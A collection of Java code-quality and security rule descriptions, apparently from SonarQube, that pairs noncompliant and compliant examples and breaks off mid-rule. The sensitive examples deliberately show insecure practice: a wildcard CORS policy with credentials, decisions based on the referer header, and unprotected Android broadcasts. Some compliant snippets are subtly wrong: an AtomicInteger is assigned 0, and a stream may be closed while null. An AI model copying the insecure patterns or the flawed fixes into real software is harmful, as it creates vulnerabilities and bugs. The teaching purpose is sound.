Connections, streams, files, and other classes that implement the Closeable interface or its super-interface, AutoCloseable, needs to be closed after use. Further, that close call must be made in a finally block otherwise an exception could keep the call from being made. Preferably, when class implements AutoCloseable, resource should be created using "try-with-resources" pattern and will be closed automatically.

Failure to properly close resources will result in a resource leak which could bring first the application and then perhaps the box the application is on to their knees.

Noncompliant Code Example

private void readTheFile() throws IOException {
  Path path = Paths.get(this.fileName);
  BufferedReader reader = Files.newBufferedReader(path, this.charset);
  // ...
  reader.close();  // Noncompliant
  // ...
  Files.lines("input.txt").forEach(System.out::println); // Noncompliant: The stream needs to be closed
}

private void doSomething() {
  OutputStream stream = null;
  try {
    for (String property : propertyList) {
      stream = new FileOutputStream("myfile.txt");  // Noncompliant
      // ...
    }
  } catch (Exception e) {
    // ...
  } finally {
    stream.close();  // Multiple streams were opened. Only the last is closed.
  }
}

Compliant Solution

private void readTheFile(String fileName) throws IOException {
    Path path = Paths.get(fileName);
    try (BufferedReader reader = Files.newBufferedReader(path, StandardCharsets.UTF_8)) {
      reader.readLine();
      // ...
    }
    // ..
    try (Stream<String> input = Files.lines("input.txt"))  {
      input.forEach(System.out::println);
    }
}

private void doSomething() {
  OutputStream stream = null;
  try {
    stream = new FileOutputStream("myfile.txt");
    for (String property : propertyList) {
      // ...
    }
  } catch (Exception e) {
    // ...
  } finally {
    stream.close();
  }
}

Exceptions

Instances of the following classes are ignored by this rule because close has no effect:

  • java.io.ByteArrayOutputStream
  • java.io.ByteArrayInputStream
  • java.io.CharArrayReader
  • java.io.CharArrayWriter
  • java.io.StringReader
  • java.io.StringWriter

Java 7 introduced the try-with-resources statement, which implicitly closes Closeables. All resources opened in a try-with-resources statement are ignored by this rule.

try (BufferedReader br = new BufferedReader(new FileReader(fileName))) {
  //...
}
catch ( ... ) {
  //...
}

See

java:S5122

Having a permissive Cross-Origin Resource Sharing policy is security-sensitive. It has led in the past to the following vulnerabilities:

Same origin policy in browsers prevents, by default and for security-reasons, a javascript frontend to perform a cross-origin HTTP request to a resource that has a different origin (domain, protocol, or port) from its own. The requested target can append additional HTTP headers in response, called CORS, that act like directives for the browser and change the access control policy / relax the same origin policy.

Ask Yourself Whether

  • You don't trust the origin specified, example: Access-Control-Allow-Origin: untrustedwebsite.com.
  • Access control policy is entirely disabled: Access-Control-Allow-Origin: *
  • You access control policy is dynamically defined by a user-controlled input like origin header.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • The Access-Control-Allow-Origin header should be set only for a trusted origin and for specific resources.

Sensitive Code Example

Java servlet framework:

@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    resp.setHeader("Content-Type", "text/plain; charset=utf-8");
    resp.setHeader("Access-Control-Allow-Origin", "*"); // Sensitive
    resp.setHeader("Access-Control-Allow-Credentials", "true");
    resp.setHeader("Access-Control-Allow-Methods", "GET");
    resp.getWriter().write("response");
}

Spring MVC framework:

CrossOrigin

@CrossOrigin // Sensitive
@RequestMapping("")
public class TestController {
    public String home(ModelMap model) {
        model.addAttribute("message", "ok ");
        return "view";
    }
}

cors.CorsConfiguration

CorsConfiguration config = new CorsConfiguration();
config.addAllowedOrigin("*"); // Sensitive
config.applyPermitDefaultValues(); // Sensitive

servlet.config.annotation.CorsConfiguration

class Insecure implements WebMvcConfigurer {
  @Override
  public void addCorsMappings(CorsRegistry registry) {
    registry.addMapping("/**")
      .allowedOrigins("*"); // Sensitive
  }
}

Compliant Solution

Java Servlet framework:

@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    resp.setHeader("Content-Type", "text/plain; charset=utf-8");
    resp.setHeader("Access-Control-Allow-Origin", "trustedwebsite.com"); // Compliant
    resp.setHeader("Access-Control-Allow-Credentials", "true");
    resp.setHeader("Access-Control-Allow-Methods", "GET");
    resp.getWriter().write("response");
}

Spring MVC framework:

CrossOrigin

@CrossOrigin("trustedwebsite.com") // Compliant
@RequestMapping("")
public class TestController {
    public String home(ModelMap model) {
        model.addAttribute("message", "ok ");
        return "view";
    }
}

cors.CorsConfiguration

CorsConfiguration config = new CorsConfiguration();
config.addAllowedOrigin("http://domain2.com"); // Compliant

servlet.config.annotation.CorsConfiguration

class Safe implements WebMvcConfigurer {
  @Override
  public void addCorsMappings(CorsRegistry registry) {
    registry.addMapping("/**")
      .allowedOrigins("safe.com"); // Compliant
  }
}

See

java:S2094

There is no good excuse for an empty class. If it's being used simply as a common extension point, it should be replaced with an interface. If it was stubbed in as a placeholder for future development it should be fleshed-out. In any other case, it should be eliminated.

Noncompliant Code Example

public class Nothing {  // Noncompliant
}

Compliant Solution

public interface Nothing {
}

Exceptions

Empty classes can be used as marker types (for Spring for instance), therefore empty classes that are annotated will be ignored.

@Configuration
@EnableWebMvc
public final class ApplicationConfiguration {

}
java:S4275

Getters and setters provide a way to enforce encapsulation by providing public methods that give controlled access to private fields. However in classes with multiple fields it is not unusual that copy and paste is used to quickly create the needed getters and setters, which can result in the wrong field being accessed by a getter or setter.

This rule raises an issue in any of these cases:

  • A setter does not update the field with the corresponding name.
  • A getter does not access the field with the corresponding name.

Noncompliant Code Example

class A {
  private int x;
  private int y;

  public void setX(int val) { // Noncompliant: field 'x' is not updated
    this.y = val;
  }

  public int getY() { // Noncompliant: field 'y' is not used in the return value
    return this.x;
  }
}

Compliant Solution

class A {
  private int x;
  private int y;

  public void setX(int val) {
    this.x = val;
  }

  public int getY() {
    return this.y;
  }
}
java:S2097

Because the equals method takes a generic Object as a parameter, any type of object may be passed to it. The method should not assume it will only be used to test objects of its class type. It must instead check the parameter's type.

Noncompliant Code Example

public boolean equals(Object obj) {
  MyClass mc = (MyClass)obj;  // Noncompliant
  // ...
}

Compliant Solution

public boolean equals(Object obj) {
  if (obj == null)
    return false;

  if (this.getClass() != obj.getClass())
    return false;

  MyClass mc = (MyClass)obj;
  // ...
}
java:S3065

When using Math.min() and Math.max() together for bounds checking, it's important to feed the right operands to each method. Math.min() should be used with the upper end of the range being checked, and Math.max() should be used with the lower end of the range. Get it backwards, and the result will always be the same end of the range.

Noncompliant Code Example

  private static final int UPPER = 20;
  private static final int LOWER = 0;

  public int doRangeCheck(int num) {    // Let's say num = 12
    int result = Math.min(LOWER, num);  // result = 0
    return Math.max(UPPER, result);     // Noncompliant; result is now 20: even though 12 was in the range
  }

Compliant Solution

Swapping method min() and max() invocations without changing parameters.

  private static final int UPPER = 20;
  private static final int LOWER = 0;

  public int doRangeCheck(int num) {    // Let's say num = 12
    int result = Math.max(LOWER, num);  // result = 12
    return Math.min(UPPER, result);     // Compliant; result is still 12
  }

or swapping bounds UPPER and LOWER used as parameters without changing the invoked methods.

  private static final int UPPER = 20;
  private static final int LOWER = 0;

  public int doRangeCheck(int num) {    // Let's say num = 12
    int result = Math.min(UPPER, num);  // result = 12
    return Math.max(LOWER, result);     // Compliant; result is still 12
  }
java:S5361

The underlying implementation of String::replaceAll calls the java.util.regex.Pattern.compile() method each time it is called even if the first argument is not a regular expression. This has a significant performance cost and therefore should be used with care.

When String::replaceAll is used, the first argument should be a real regular expression. If it’s not the case, String::replace does exactly the same thing as String::replaceAll without the performance drawback of the regex.

This rule raises an issue for each String::replaceAll used with a String as first parameter which doesn’t contains special regex character or pattern.

Noncompliant Code Example

String init = "Bob is a Bird... Bob is a Plane... Bob is Superman!";
String changed = init.replaceAll("Bob is", "It's"); // Noncompliant
changed = changed.replaceAll("\\.\\.\\.", ";"); // Noncompliant

Compliant Solution

String init = "Bob is a Bird... Bob is a Plane... Bob is Superman!";
String changed = init.replace("Bob is", "It's");
changed = changed.replace("...", ";");

Or, with a regex:

String init = "Bob is a Bird... Bob is a Plane... Bob is Superman!";
String changed = init.replaceAll("\\w*\\sis", "It's");
changed = changed.replaceAll("\\.{3}", ";");

See

  • S4248 - Regex patterns should not be created needlessly
java:S3064

Double-checked locking can be used for lazy initialization of volatile fields, but only if field assignment is the last step in the synchronized block. Otherwise you run the risk of threads accessing a half-initialized object.

Noncompliant Code Example

public class MyClass {

  private volatile List<String> strings;

  public List<String> getStrings() {
    if (strings == null) {  // check#1
      synchronized(MyClass.class) {
        if (strings == null) {
          strings = new ArrayList<>();  // Noncompliant
          strings.add("Hello");  //When threadA gets here, threadB can skip the synchronized block because check#1 is false
          strings.add("World");
        }
      }
    }
    return strings;
  }
}

Compliant Solution

public class MyClass {

  private volatile List<String> strings;

  public List<String> getStrings() {
    if (strings == null) {  // check#1
      synchronized(MyClass.class) {
        if (strings == null) {
          List<String> tmpList = new ArrayList<>();
          tmpList.add("Hello");
          tmpList.add("World");
          strings = tmpList;
        }
      }
    }
    return strings;
  }
}

See

  • CERT, LCK10-J. - Use a correct form of the double-checked locking idiom

See Also

  • S2168 Double-checked locking should not be used
java:S2096

There's no reason for a main method to throw anything. After all, what's going to catch it?

Instead, the method should itself gracefully handle any exceptions that may bubble up to it, attach as much contextual information as possible, and perform whatever logging or user communication is necessary, and exit with a non-zero (i.e. non-success) exit code if necessary.

Noncompliant Code Example

public static void main(String args[]) throws Exception { // Noncompliant
  doSomething();
}

Compliant Solution

public static void main(String args[]) {
 try {
    doSomething();
  } catch (Throwable t) {
    log.error(t);
    System.exit(1);  // Default exit code, 0, indicates success. Non-zero value means failure.
  }
}
java:S4032

There is no reason to have a package that is empty except for "package-info.java". Such packages merely clutter a project, taking up space but adding no value.

java:S3067

getClass should not be used for synchronization in non-final classes because child classes will synchronize on a different object than the parent or each other, allowing multiple threads into the code block at once, despite the synchronized keyword.

Instead, hard code the name of the class on which to synchronize or make the class final.

Noncompliant Code Example

public class MyClass {
  public void doSomethingSynchronized(){
    synchronized (this.getClass()) {  // Noncompliant
      // ...
    }
  }

Compliant Solution

public class MyClass {
  public void doSomethingSynchronized(){
    synchronized (MyClass.class) {
      // ...
    }
  }

See

  • CERT, LCK02-J. - Do not synchronize on the class object returned by getClass()
java:S3066

enums are generally thought of as constant, but an enum with a public field or public setter is not only non-constant, but also vulnerable to malicious code. Ideally fields in an enum are private and set in the constructor, but if that's not possible, their visibility should be reduced as much as possible.

Noncompliant Code Example

public enum Continent {

  NORTH_AMERICA (23, 24709000),
  // ...
  EUROPE (50, 39310000);

  public int countryCount;  // Noncompliant
  private int landMass;

  Continent(int countryCount, int landMass) {
    // ...
  }

  public void setLandMass(int landMass) {  // Noncompliant
    this.landMass = landMass;
  }

Compliant Solution

public enum Continent {

  NORTH_AMERICA (23, 24709000),
  // ...
  EUROPE (50, 39310000);

  private int countryCount;
  private int landMass;

  Continent(int countryCount, int landMass) {
    // ...
  }
java:S4034

When using the Stream API, call chains should be simplified as much as possible. Not only does it make the code easier to read, it also avoid creating unnecessary temporary objects.

This rule raises an issue when one of the following substitution is possible:

Original Preferred
stream.filter(predicate).findFirst().isPresent() stream.anyMatch(predicate)
stream.filter(predicate).findAny().isPresent() stream.anyMatch(predicate)
!stream.anyMatch(predicate) stream.noneMatch(predicate)
!stream.anyMatch(x -> !(...)) stream.allMatch(...)
stream.map(mapper).anyMatch(Boolean::booleanValue) stream.anyMatch(predicate)

Noncompliant Code Example

boolean hasRed = widgets.stream().filter(w -> w.getColor() == RED).findFirst().isPresent(); // Noncompliant

Compliant Solution

boolean hasRed = widgets.stream().anyMatch(w -> w.getColor() == RED);
java:S4276

The java.util.function package provides a large array of functional interface definitions for use in lambda expressions and method references. In general it is recommended to use the more specialised form to avoid auto-boxing. For instance IntFunction<Foo> should be preferred over Function<Integer, Foo>.

This rule raises an issue when any of the following substitution is possible:

Current Interface Preferred Interface
Function<Integer, R> IntFunction<R>
Function<Long, R> LongFunction<R>
Function<Double, R> DoubleFunction<R>
Function<Double,Integer> DoubleToIntFunction
Function<Double,Long> DoubleToLongFunction
Function<Long,Double> LongToDoubleFunction
Function<Long,Integer> LongToIntFunction
Function<R,Integer> ToIntFunction<R>
Function<R,Long> ToLongFunction<R>
Function<R,Double> ToDoubleFunction<R>
Function<T,T> UnaryOperator<T>
BiFunction<T,T,T> BinaryOperator<T>
Consumer<Integer> IntConsumer
Consumer<Double> DoubleConsumer
Consumer<Long> LongConsumer
BiConsumer<T,Integer> ObjIntConsumer<T>
BiConsumer<T,Long> ObjLongConsumer<T>
BiConsumer<T,Double> ObjDoubleConsumer<T>
Predicate<Integer> IntPredicate
Predicate<Double> DoublePredicate
Predicate<Long> LongPredicate
Supplier<Integer> IntSupplier
Supplier<Double> DoubleSupplier
Supplier<Long> LongSupplier
Supplier<Boolean> BooleanSupplier
UnaryOperator<Integer> IntUnaryOperator
UnaryOperator<Double> DoubleUnaryOperator
UnaryOperator<Long> LongUnaryOperator
BinaryOperator<Integer> IntBinaryOperator
BinaryOperator<Long> LongBinaryOperator
BinaryOperator<Double> DoubleBinaryOperator
Function<T, Boolean> Predicate<T>
BiFunction<T,U,Boolean> BiPredicate<T,U>

Noncompliant Code Example

public class Foo implements Supplier<Integer> {  // Noncompliant
    @Override
    public Integer get() {
      // ...
    }
}

Compliant Solution

public class Foo implements IntSupplier {

  @Override
  public int getAsInt() {
    // ...
  }
}
java:S5128

Bean Validation as per defined by JSR 380 can be triggered programmatically or also executed by the Bean Validation providers. However something should tell the Bean Validation provider that a variable must be validated otherwise no validation will happen. This can be achieved by annotating a variable with javax.validation.Valid and unfortunally it's easy to forget to add this annotation on complex Beans.

Not annotating a variable with @Valid means Bean Validation will not be triggered for this variable, but readers may overlook this omission and assume the variable will be validated.

This rule will run by default on all Class'es and therefore can generate a lot of noise. This rule should be restricted to run only on certain layers. For this reason, the "Restrict Scope of Coding Rules" feature should be used to check for missing @Valid annotations only on some packages of the application.

Noncompliant Code Example

import javax.validation.Valid;
import javax.validation.constraints.NotNull;

public class User {
  @NotNull
  private String name;
}

public class Group {
  @NotNull
  private List<User> users; // Noncompliant; User instances are not validated
}

public class MyService {
  public void login(User user) { // Noncompliant; parameter "user" is not validated
  }
}

Compliant Solution

import javax.validation.Valid;
import javax.validation.constraints.NotNull;

public class User {
  @NotNull
  private String name;
}

public class Group {
  @Valid
  @NotNull
  private List<User> users; // Compliant; User instances are validated

  @NotNull
  // preferred style as of Bean Validation 2.0
  private List<@Valid User> users2; // Compliant; User instances are validated
}

public class MyService {
  public void login(@Valid User user) { // Compliant
  }
}

See

java:S888

Testing for loop termination using an equality operator (== and !=) is dangerous, because it could set up an infinite loop. Using a broader relational operator instead casts a wider net, and makes it harder (but not impossible) to accidentally write an infinite loop.

Noncompliant Code Example

for (int i = 1; i != 10; i += 2)  // Noncompliant. Infinite; i goes from 9 straight to 11.
{
  //...
}

Compliant Solution

for (int i = 1; i <= 10; i += 2)  // Compliant
{
  //...
}

Exceptions

Equality operators are ignored if the loop counter is not modified within the body of the loop and either:

  • starts below the ending value and is incremented by 1 on each iteration.
  • starts above the ending value and is decremented by 1 on each iteration.

Equality operators are also ignored when the test is against null.

for (int i = 0; arr[i] != null; i++) {
  // ...
}

for (int i = 0; (item = arr[i]) != null; i++) {
  // ...
}

See

java:S3052

The compiler automatically initializes class fields to their default values before setting them with any initialization values, so there is no need to explicitly set a field to its default value. Further, under the logic that cleaner code is better code, it's considered poor style to do so.

Noncompliant Code Example

public class MyClass {

  int count = 0;  // Noncompliant
  // ...

}

Compliant Solution

public class MyClass {

  int count;
  // ...

}

Exceptions

final fields are ignored.

java:S4142

There are valid cases for passing a variable multiple times into the same method call, but usually doing so is a mistake, and something else was intended for one of the arguments.

Noncompliant Code Example

if (compare(myPoint.x, myPoint.x) != 0) { // Noncompliant
  //...
}

if (compare(getNextValue(), getNextValue()) != 0) { // Noncompliant
  // ...
}

Compliant Solution

if (compare(myPoint.x, myPoint.y) != 0) {
  //...
}

Object v1 = getNextValue();
Object v2 = getNextValue();
if (compare(v1, v2) != 0) {
  // ...
}

Deprecated

This rule is deprecated, and will eventually be removed.

java:S4143

It is highly suspicious when a value is saved for a key or index and then unconditionally overwritten. Such replacements are likely errors.

Noncompliant Code Example

letters.put("a", "Apple");
letters.put("a", "Boy");  // Noncompliant

towns[i] = "London";
towns[i] = "Chicago";  // Noncompliant
java:S4144

When two methods have the same implementation, either it was a mistake - something else was intended - or the duplication was intentional, but may be confusing to maintainers. In the latter case, one implementation should invoke the other. Numerical and string literals are not taken into account.

Noncompliant Code Example

private final static String CODE = "bounteous";

public String calculateCode() {
  doTheThing();
  return CODE;
}

public String getName() {  // Noncompliant
  doTheThing();
  return CODE;
}

Compliant Solution

private final static String CODE = "bounteous";

public String getCode() {
  doTheThing();
  return CODE;
}

public String getName() {
  return getCode();
}

Exceptions

Methods that are not accessors (getters and setters), with fewer than 2 statements are ignored.

java:S2089

The fields in an HTTP request are putty in the hands of an attacker, and you cannot rely on them to tell you the truth about anything. While it may be safe to store such values after they have been neutralized, decisions should never be made based on their contents.

This rule flags uses of the referer header field.

Noncompliant Code Example

public class MyServlet extends HttpServlet {
  protected void doPost(HttpServletRequest request, HttpServletResponse response)
        throws ServletException, IOException {
    String referer = request.getHeader("referer");  // Noncompliant
    if(isTrustedReferer(referer)){
      //..
    }
    //...
  }
}

See

java:S4266

When using the Stream API, call chains should be simplified as much as possible to improve readability and maintainability.

This rule raises an issue when one of the following substitution can be made:

Original Preferred
stream.collect(counting()) stream.count()
stream.collect(maxBy(comparator)) stream.max(comparator)
stream.collect(minBy(comparator)) stream.min(comparator)
stream.collect(mapping(mapper)) stream.map(mapper).collect()
stream.collect(reducing(...)) stream.reduce(...)
stream.collect(summingInt(mapper)) stream.mapToInt(mapper).sum()
stream.collect(summingLong(mapper)) stream.mapToLong(mapper).sum()
stream.collect(summingDouble(mapper)) stream.mapToDouble(mapper).sum()

Noncompliant Code Example

int count = stream.collect(counting());  // Noncompliant

Compliant Solution

int count = stream.count();
java:S5261

The dangling else problem appears when nested if/else statements are written without curly braces. In this case, else is associated with the nearest if but that is not always obvious and sometimes the indentation can also be misleading.

This rules reports else statements that are difficult to understand, because they are inside nested if statements without curly braces.

Adding curly braces can generally make the code clearer (see rule S121 ), and in this situation of dangling else, it really clarifies the intention of the code.

Noncompliant Code Example

 if (a)
   if (b)
     d++;
 else     // Noncompliant, is the "else" associated with "if(a)" or "if (b)"? (the answer is "if(b)")
   e++;

Compliant Solution

 if (a) {
   if (b) {
     d++;
   }
 } else { // Compliant, there is no doubt the "else" is associated with "if(a)"
   e++;
 }

See

java:S4174

Shared coding conventions allow teams to collaborate efficiently. This rule checks that all local, final, initialized, primitive variables, have names that match a provided regular expression.

Noncompliant Code Example

With the default regular expression ^[A-Z][A-Z0-9]*(_[A-Z0-9]+)*$:

public void doSomething() {
  final int local = 42;
  ...
}

Compliant Solution

public void doSomething() {
  final int LOCAL = 42;
  ...
}
java:S4042

When java.io.File#delete fails, this boolean method simply returns false with no indication of the cause. On the other hand, when java.nio.file.Files#delete fails, this void method returns one of a series of exception types to better indicate the cause of the failure. And since more information is generally better in a debugging situation, java.nio.file.Files#delete is the preferred option.

Noncompliant Code Example

public void cleanUp(Path path) {
  File file = new File(path);
  if (!file.delete()) {  // Noncompliant
    //...
  }
}

Compliant Solution

public void cleanUp(Path path) throws NoSuchFileException, DirectoryNotEmptyException, IOException {
  Files.delete(path);
}
java:S4165

The transitive property says that if a == b and b == c, then a == c. In such cases, there's no point in assigning a to c or vice versa because they're already equivalent.

This rule raises an issue when an assignment is useless because the assigned-to variable already holds the value on all execution paths.

Noncompliant Code Example

a = b;
c = a;
b = c; // Noncompliant: c and b are already the same

Compliant Solution

a = b;
c = a;
java:S3078

Using compound operators as well as increments and decrements (and toggling, in the case of booleans) on primitive fields are not atomic operations. That is, they don't happen in a single step. For instance, when a volatile primitive field is incremented or decremented you run the risk of data loss if threads interleave in the steps of the update. Instead, use a guaranteed-atomic class such as AtomicInteger, or synchronize the access.

Noncompliant Code Example

private volatile int count = 0;
private volatile boolean boo = false;

public void incrementCount() {
  count++;  // Noncompliant
}

public void toggleBoo(){
  boo = !boo;  // Noncompliant
}

Compliant Solution

private AtomicInteger count = 0;
private boolean boo = false;

public void incrementCount() {
  count.incrementAndGet();
}

public synchronized void toggleBoo() {
  boo = !boo;
}

See

  • CERT, VNA02-J. - Ensure that compound operations on shared variables are atomic
java:S3077

Marking an array volatile means that the array itself will always be read fresh and never thread cached, but the items in the array will not be. Similarly, marking a mutable object field volatile means the object reference is volatile but the object itself is not, and other threads may not see updates to the object state.

This can be salvaged with arrays by using the relevant AtomicArray class, such as AtomicIntegerArray, instead. For mutable objects, the volatile should be removed, and some other method should be used to ensure thread-safety, such as synchronization, or ThreadLocal storage.

Noncompliant Code Example

private volatile int [] vInts;  // Noncompliant
private volatile MyObj myObj;  // Noncompliant

Compliant Solution

private AtomicIntegerArray vInts;
private MyObj myObj;

See

  • CERT, CON50-J. - Do not assume that declaring a reference volatile guarantees safe publication of the members of the referenced object
java:S4288

Spring @Controller, @Service, and @Repository classes are singletons by default, meaning only one instance of the class is ever instantiated in the application. Typically such a class might have a few static members, such as a logger, but all non-static members should be managed by Spring and supplied via constructor injection rather than by field injection.

This rule raise an issue when any non-static member of a Spring component has an injection annotation, or if the constructor of Spring component does not have injection annotation.

Noncompliant Code Example

@Controller
public class HelloWorld {

  @Autowired
  private String name = null; // Noncompliant

  HelloWorld() {
   // ...
  }

  // ...
}

Compliant Solution

@Controller
public class HelloWorld {

  private String name = null;

  @Autowired
  HelloWorld(String name) {
    this.name = name;
   // ...
  }

  // ...
}
java:S4351

When implementing the Comparable<T>.compareTo method, the parameter's type has to match the type used in the Comparable declaration. When a different type is used this creates an overload instead of an override, which is unlikely to be the intent.

This rule raises an issue when the parameter of the compareTo method of a class implementing Comparable<T> is not same as the one used in the Comparable declaration.

Noncompliant Code Example

public class Foo {
  static class Bar implements Comparable<Bar> {
    public int compareTo(Bar rhs) {
      return -1;
    }
  }

  static class FooBar extends Bar {
    public int compareTo(FooBar rhs) {  // Noncompliant: Parameter should be of type Bar
      return 0;
    }
  }
}

Compliant Solution

public class Foo {
  static class Bar implements Comparable<Bar> {
    public int compareTo(Bar rhs) {
      return -1;
    }
  }

  static class FooBar extends Bar {
    public int compareTo(Bar rhs) {
      return 0;
    }
  }
}
java:S2293

Java 7 introduced the diamond operator (<>) to reduce the verbosity of generics code. For instance, instead of having to declare a List's type in both its declaration and its constructor, you can now simplify the constructor declaration with <>, and the compiler will infer the type.

Note that this rule is automatically disabled when the project's sonar.java.source is lower than 7.

Noncompliant Code Example

List<String> strings = new ArrayList<String>();  // Noncompliant
Map<String,List<Integer>> map = new HashMap<String,List<Integer>>();  // Noncompliant

Compliant Solution

List<String> strings = new ArrayList<>();
Map<String,List<Integer>> map = new HashMap<>();
java:S5320

In Android applications, broadcasting intents is security-sensitive. For example, it has led in the past to the following vulnerability:

By default, broadcasted intents are visible to every application, exposing all sensitive information they contain.

This rule raises an issue when an intent is broadcasted without specifying any "receiver permission".

Ask Yourself Whether

  • The intent contains sensitive information.
  • Intent reception is not restricted.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Restrict the access to broadcasted intents. See Android documentation for more information.

Sensitive Code Example

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import android.os.Bundle;
import android.os.Handler;
import android.os.UserHandle;
import android.support.annotation.RequiresApi;

public class MyIntentBroadcast {
    @RequiresApi(api = Build.VERSION_CODES.JELLY_BEAN_MR1)
    public void broadcast(Intent intent, Context context, UserHandle user,
                          BroadcastReceiver resultReceiver, Handler scheduler, int initialCode,
                          String initialData, Bundle initialExtras,
                          String broadcastPermission) {
        context.sendBroadcast(intent); // Sensitive
        context.sendBroadcastAsUser(intent, user); // Sensitive

        // Broadcasting intent with "null" for receiverPermission
        context.sendBroadcast(intent, null); // Sensitive
        context.sendBroadcastAsUser(intent, user, null); // Sensitive
        context.sendOrderedBroadcast(intent, null); // Sensitive
        context.sendOrderedBroadcastAsUser(intent, user, null, resultReceiver,
                scheduler, initialCode, initialData, initialExtras); // Sensitive

        context.sendBroadcast(intent, broadcastPermission); // Ok
        context.sendBroadcastAsUser(intent, user, broadcastPermission); // Ok
        context.sendOrderedBroadcast(intent, broadcastPermission); // Ok
        context.sendOrderedBroadcastAsUser(intent, user,broadcastPermission, resultReceiver,
                scheduler, initialCode, initialData, initialExtras); // Ok
    }
}

See

java:S3020

Given no arguments, the Collections.toArray method returns an Object [], which will cause a ClassCastException at runtime if you try to cast it to an array of the proper class. Instead, pass an array of the correct type in to the call.

Noncompliant Code Example

public String [] getStringArray(List<String> strings) {
  return (String []) strings.toArray();  // Noncompliant; ClassCastException thrown
}

Compliant Solution

public String [] getStringArray(List<String> strings) {
  return strings.toArray(new String[0]);
}
java:S100

Shared naming conventions allow teams to collaborate efficiently. This rule checks that all method names match a provided regular expression.

Noncompliant Code Example

With default provided regular expression ^[a-z][a-zA-Z0-9]*$:

public int DoSomething(){...}

Compliant Solution

public int doSomething(){...}

Exceptions

Overriding methods are excluded.

@Override
public int Do_Something(){...}
java:S2176

While it's perfectly legal to give a class the same simple name as a class in another package that it extends or interface it implements, it's confusing and could cause problems in the future.

Noncompliant Code Example

package my.mypackage;

public class Foo implements a.b.Foo { // Noncompliant

Compliant Solution

package my.mypackage;

public class FooJr implements a.b.Foo {
java:S2055

When a Serializable object has a non-serializable ancestor in its inheritance chain, object deserialization (re-instantiating the object from file) starts at the first non-serializable class, and proceeds down the chain, adding the properties of each subsequent child class, until the final object has been instantiated.

In order to create the non-serializable ancestor, its no-argument constructor is called. Therefore the non-serializable ancestor of a Serializable class must have a no-arg constructor. Otherwise the class is Serializable but not deserializable.

Noncompliant Code Example

public class Fruit {
  private Season ripe;

  public Fruit (Season ripe) {...}
  public void setRipe(Season ripe) {...}
  public Season getRipe() {...}
}

public class Raspberry extends Fruit
        implements Serializable {  // Noncompliant; nonserializable ancestor doesn't have no-arg constructor
  private static final long serialVersionUID = 1;

  private String variety;

  public Raspberry(Season ripe, String variety) { ...}
  public void setVariety(String variety) {...}
  public String getVarity() {...}
}

Compliant Solution

public class Fruit {
  private Season ripe;

  public Fruit () {...};  // Compliant; no-arg constructor added to ancestor
  public Fruit (Season ripe) {...}
  public void setRipe(Season ripe) {...}
  public Season getRipe() {...}
}

public class Raspberry extends Fruit
        implements Serializable {
  private static final long serialVersionUID = 1;

  private String variety;

  public Raspberry(Season ripe, String variety) {...}
  public void setVariety(String variety) {...}
  public String getVarity() {...}
}
java:S5324

In Android applications, accessing external storage is security-sensitive. For example, it has led in the past to the following vulnerability:

Any application having the permissions WRITE_EXTERNAL_STORAGE or READ_EXTERNAL_STORAGE can access files stored on an external storage, be it a private or a public file.

This rule raises an issue when the following functions are called:

  • android.os.Environment.getExternalStorageDirectory
  • android.os.Environment.getExternalStoragePublicDirectory
  • android.content.Context.getExternalFilesDir
  • android.content.Context.getExternalFilesDirs
  • android.content.Context.getExternalMediaDirs
  • android.content.Context.getExternalCacheDir
  • android.content.Context.getExternalCacheDirs
  • android.content.Context.getObbDir
  • android.content.Context.getObbDirs

Ask Yourself Whether

  • Data written to the external storage is security-sensitive and is not encrypted.
  • Data read from files is not validated.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Validate any data read from files.

Avoid writing sensitive information to an external storage. If this is required, make sure that the data is encrypted properly.

Sensitive Code Example

import android.content.Context;
import android.os.Environment;

public class AccessExternalFiles {

    public void accessFiles(Context context) {
        Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_PICTURES); // Sensitive
        context.getExternalFilesDir(Environment.DIRECTORY_PICTURES); // Sensitive
    }
}

See

java:S101

Shared coding conventions allow teams to collaborate effectively. This rule allows to check that all class names match a provided regular expression.

Noncompliant Code Example

With default provided regular expression ^[A-Z][a-zA-Z0-9]*$:

class my_class {...}

Compliant Solution

class MyClass {...}
java:S2175

The java.util.Collection API has methods that accept Object parameters such as Collection.remove(Object o), and Collection.contains(Object o). When the actual type of the object provided to these methods is not consistent with the type declared on the Collection instantiation, those methods will always return false or null. This is most likely unintended and hides a design problem.

This rule raises an issue when the type of the argument of the following APIs is unrelated to the type used for the Collection declaration:

  • Collection.remove(Object o)
  • Collection.removeAll(Collection<?>)
  • Collection.contains(Object o)
  • List.indexOf(Object o)
  • List.lastIndexOf(Object o)
  • Map.containsKey(Object key)
  • Map.containsValue(Object value)
  • Map.get(Object key)
  • Map.getOrDefault(Object key, V defaultValue)
  • Map.remove(Object key)
  • Map.remove(Object key, Object value)

Noncompliant Code Example

public class S2175 {

  public static void main(String[] args) {
    String foo = "42";
    Map<Integer, Object> map = new HashMap<>();
    map.remove(foo); // Noncompliant; will return 'null' for sure because 'map' is handling only Integer keys

    // ...

    List<String> list = new ArrayList<String>();
    Integer integer = Integer.valueOf(1);
    if (list.contains(integer)) { // Noncompliant; always false.
      list.remove(integer); // Noncompliant; list.add(integer) doesn't compile, so this will always return 'false'
    }
  }

}

See

  • CERT, EXP04-J. - Do not pass arguments to certain Java Collections Framework methods that are a different type than the collection parameter type
java:S2178

The use of non-short-circuit logic in a boolean context is likely a mistake - one that could cause serious program errors as conditions are evaluated under the wrong circumstances.

Noncompliant Code Example

if(getTrue() | getFalse()) { ... } // Noncompliant; both sides evaluated

Compliant Solution

if(getTrue() || getFalse()) { ... } // true short-circuit logic

See

  • CERT, EXP46-C. - Do not use a bitwise operator with a Boolean-like operand
java:S2057

A serialVersionUID field is strongly recommended in all Serializable classes. If you do not provide one, one will be calculated for you by the compiler. The danger in not explicitly choosing the value is that when the class changes, the compiler will generate an entirely new id, and you will be suddenly unable to deserialize (read from file) objects that were serialized with the previous version of the class.

serialVersionUID's should be declared with all of these modifiers: static final long.

Noncompliant Code Example

public class Raspberry extends Fruit  // Noncompliant; no serialVersionUID.
        implements Serializable {
  private String variety;

  public Raspberry(Season ripe, String variety) { ...}
  public void setVariety(String variety) {...}
